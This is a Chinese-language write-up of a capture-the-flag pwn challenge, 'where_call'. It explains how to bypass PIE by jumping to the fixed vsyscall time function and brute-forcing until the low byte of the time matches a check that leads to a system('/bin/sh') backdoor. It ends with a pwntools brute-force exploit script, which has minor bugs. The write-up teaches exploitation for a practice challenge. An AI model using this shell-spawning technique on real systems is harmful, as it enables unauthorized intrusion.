总的来说是ret2vdso
保护全开。
就如程序名,where_call,程序让你输入一个函数地址,结合下面的v5等于121,那么想的是找到一个函数,对v5进行一些操作,让它等于121,但是程序开了PIE,难点就在这里。
我们说平常PIE的绕过有两种方法,一种是泄露内存地址,但是那需要一些类似于read函数的东西,但是现在啥没有。另外一种就是partial write,但你看这显然不行,你去哪write?
所以就想到ret2vdso,或者说ret2vsyscall。
vsyscall是固定的,里面第二个函数是time函数,传入一个参数,调用time函数,返回一个时间值到buf,即相对于UTC(1970-01-01 00:00:00 +0000)所经过的秒数。当buf恰好等于121时即可进入后门函数调用system(“/bin/sh”)。
虽然说我们得到的时间是相对UTC的,但是它判断的时候值判断最后一个字节
所以还是可以爆破出来的。
然后就接爆破。
exp
from pwn import*
while True:
try:
r = process('./where_call')
r.recvuntil("What is your call??\n")
vsys = 0xffffffffff600400
sendline(p64(vsys))
#sendline("ls")
sendline("cat flag")
s = r.recv()
'''
if "where_call" in s:
print s
break
'''
if 'flag' in s:
print s
break
except:
r.close()
continue